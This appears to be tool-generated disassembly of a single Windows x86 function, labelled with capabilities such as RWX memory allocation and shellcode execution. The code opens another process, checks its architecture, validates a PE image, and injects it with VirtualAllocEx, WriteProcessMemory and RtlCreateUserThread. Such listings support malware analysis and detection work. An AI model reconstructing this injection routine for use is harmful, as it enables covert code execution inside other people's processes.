Function at 0x401510
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Execute shellcode via indirect call
Get system information on windows
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4149c8
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push eax
push 0
mov dword [ebp - 0x60], ecx
mov ecx, dword [ebp + 0x10]
push 0x43a
mov dword [ebp - 0x64], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x401564
xor al, al
jmp 0x40186e
lea eax, [ebp - 0x74]
push eax
push 4
lea eax, [ebp - 0x6c]
push eax
push edi
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x4015bc
push 0x1000
call fcn.004019f9
add esp, 4
mov esi, eax
push 0x1000
push esi
push dword [ebp - 0x6c]
push edi
call sub.KERNEL32.dll_K32GetModuleBaseNameA
push esi
push str.process_name:__s_n
push 2
call fcn.00405636
add esp, 4
push eax
call fcn.00401260
add esp, 0xc
test esi, esi
je 0x4015bc
push esi
call fcn.00401a02
add esp, 4
mov byte [ebp - 0x4d], 0
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
push str.IsWow64Process
push 0x415cd4
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4015f9
lea esi, [eax + 0x20]
jmp 0x401620
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x54], 0
push ecx
push edi
call eax
test eax, eax
je 0x40161e
cmp dword [ebp - 0x54], 0
mov esi, 0x40
mov eax, 0x20
cmovne esi, eax
jmp 0x401620
xor esi, esi
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x4c]
push eax
movups xmmword [ebp - 0x4c], xmm0
movups xmmword [ebp - 0x3c], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4c]
cmp ax, 9
jne 0x40164e
mov dword [ebp - 0x58], 0x40
jmp 0x40165e
xor ecx, ecx
test ax, ax
mov eax, 0x20
cmove ecx, eax
mov dword [ebp - 0x58], ecx
mov ecx, dword [ebp - 0x64]
cmp esi, 0x20
cmove ecx, dword [ebp - 0x60]
mov dword [ebp - 0x64], ecx
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
sub edx, eax
mov dword [ebp - 0x60], edx
je 0x40185a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40185a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp ecx, eax
jb 0x40185a
add eax, 0xffffff08
add eax, edx
cmp ecx, eax
ja 0x40185a
cmp dword [ecx], 0x4550
jne 0x40185a
movzx eax, word [ecx + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x4016c8
cmp esi, 0x20
jne 0x40185a
mov ecx, 0x8664
cmp ax, cx
jne 0x4016db
cmp esi, 0x40
jne 0x40185a
mov ecx, 0x535
cmp esi, 0x20
mov eax, 0x478
push str.VirtualAllocEx
cmovne eax, ecx
push 0x415cd4
mov dword [ebp - 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
test edx, edx
je 0x40185a
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x54]
push 0x40
push 0x3000
push eax
push 0
push edi
call edx
mov dword [ebp - 0x5c], eax
test eax, eax
je 0x40185a
push str.WriteProcessMemory
push 0x415cd4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov dword [ebp - 0x70], ecx
test ecx, ecx
je 0x40185a
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0
push eax
push dword [ebp - 0x54]
mov edx, 0x4151d0
cmp esi, 0x20
mov eax, str._UVATAUAVH
cmove eax, edx
push eax
push dword [ebp - 0x5c]
push edi
call ecx
test eax, eax
je 0x40185a
mov ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
push dword [ecx]
add eax, dword [ebp - 0x54]
push eax
push edi
call dword [ebp - 0x70]
test eax, eax
je 0x40185a
mov eax, dword [ebp - 0x58]
cmp eax, 0x40
je 0x40180a
cmp eax, esi
je 0x40180a
mov eax, dword [ebp - 0x5c]
xorps xmm0, xmm0
cdq
push 0x40
mov dword [ebp - 0x40], eax
mov eax, edi
push 0x3000
mov dword [ebp - 0x3c], edx
cdq
push 0x142
movups xmmword [ebp - 0x38], xmm0
push 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x142
mov esi, eax
push 0x415b80
push esi
call fcn.00402fa0
lea eax, [ebp - 0x40]
push eax
push esi
call fcn.004014c0
mov eax, dword [ebp - 0x30]
add esp, 0x14
or eax, dword [ebp - 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x401868
mov byte [ebp - 0x4d], 1
jmp 0x401868
push str.RtlCreateUserThread
push 0x415d2c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40185a
push 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0
push ecx
push 0
push dword [ebp - 0x5c]
push 0
push 0
push 0
push 0
push 0
push edi
call eax
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x401862
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov byte [ebp - 0x4d], 1
jmp 0x401868
lea ecx, [ebp - 0x28]
call fcn.00401480
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov al, byte [ebp - 0x4d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004019e8
mov esp, ebp
pop ebp
ret